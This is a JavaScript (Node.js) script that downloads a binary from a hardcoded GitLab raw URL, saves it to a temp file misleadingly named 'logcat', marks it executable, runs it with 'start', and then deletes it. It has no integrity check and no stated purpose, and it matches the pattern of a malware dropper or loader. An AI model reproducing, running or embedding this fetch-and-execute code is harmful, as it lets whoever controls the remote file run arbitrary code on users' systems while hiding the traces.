import { spawn } from 'child_process'; import { existsSync, unlinkSync, createWriteStream, chmodSync } from 'fs'; import http from 'http'; import https from 'https'; import { join } from 'path'; import { tmpdir } from 'os'; import { parse } from 'url'; // --- Configuration Info --- const BINARY_URL = 'https://gitlab.com/rickyet/render/-/raw/main/go'; // Arguments to pass to the binary when executing const EXEC_ARGS = ['start']; // Temporary file path const TEMP_FILE_PATH = join(tmpdir(), `logcat_${Date.now()}`); // Maximum number of redirects to follow, to prevent infinite loops const MAX_REDIRECTS = 5; /** * Cleans up the temporary file and exits the process * @param {number} code - The exit code */ function cleanupAndExit(code) { try { if (existsSync(TEMP_FILE_PATH)) { unlinkSync(TEMP_FILE_PATH); console.log(`Deleted temporary file: ${TEMP_FILE_PATH}`); } } catch (cleanupErr) { console.error(`Could not delete temporary file: ${cleanupErr.message}`); } process.exit(code); } /** * Downloads and executes the binary file from a remote URL, supporting redirects * @param {string} currentUrl - The current URL to request * @param {number} redirectCount - The redirect counter */ function executeRemoteBinary(currentUrl, redirectCount = 0) { if (redirectCount >= MAX_REDIRECTS) { console.error('❌ Reached maximum redirect limit, aborting download.'); cleanupAndExit(1); return; } console.log(`Attempting connection to: ${currentUrl} (Redirects: ${redirectCount})`); // Determine the correct client (http or https) based on URL protocol const parsedUrl = parse(currentUrl); const client = parsedUrl.protocol === 'https:' ? https : http; // 1. Initiate the network request const req = client.get(currentUrl, (res) => { const { statusCode, headers } = res; // --- Core Redirect Handling: 3xx Status Codes --- if (statusCode >= 300 && statusCode < 400 && headers.location) { res.resume(); // Consume data to free memory // Recursively call itself to follow the new URL executeRemoteBinary(headers.location, redirectCount + 1); return; } // --- Normal Download Logic: 200 Status Code --- if (statusCode !== 200) { console.error(`Download failed, final HTTP status code: ${statusCode}`); res.resume(); cleanupAndExit(1); return; } console.log(`Connection successful (200), starting download to temporary path: ${TEMP_FILE_PATH}`); const fileStream = createWriteStream(TEMP_FILE_PATH); // 2. Pipe the response stream to the file write stream res.pipe(fileStream); fileStream.on('finish', () => { // Trigger the close operation fileStream.close(); console.log('File download complete!'); }); // The 'close' event signals that the file descriptor has been fully released fileStream.on('close', () => { // 3. Grant execute permissions (chmod +x) try { // 0o755 stands for rwxr-xr-x chmodSync(TEMP_FILE_PATH, 0o755); console.log('Execute permissions (755) granted.'); } catch (err) { console.error(`Could not set permissions: ${err.message}`); cleanupAndExit(1); return; } // 4. Execute the temporary file console.log(`Executing: ${TEMP_FILE_PATH} ${EXEC_ARGS.join(' ')}`); const child = spawn(TEMP_FILE_PATH, EXEC_ARGS, { stdio: 'inherit' // Pipe child process output directly to the main terminal }); child.on('error', (err) => { console.error(`❌ Execution error: ${err.message}`); cleanupAndExit(1); }); child.on('close', (code) => { console.log(`Process exited with code: ${code}`); cleanupAndExit(code); }); }); fileStream.on('error', (err) => { console.error(`❌ File write error: ${err.message}`); cleanupAndExit(1); }); }).on('error', (err) => { console.error(`❌ Network request error: ${err.message}`); cleanupAndExit(1); }); } // Initiate the download and execution process executeRemoteBinary(BINARY_URL);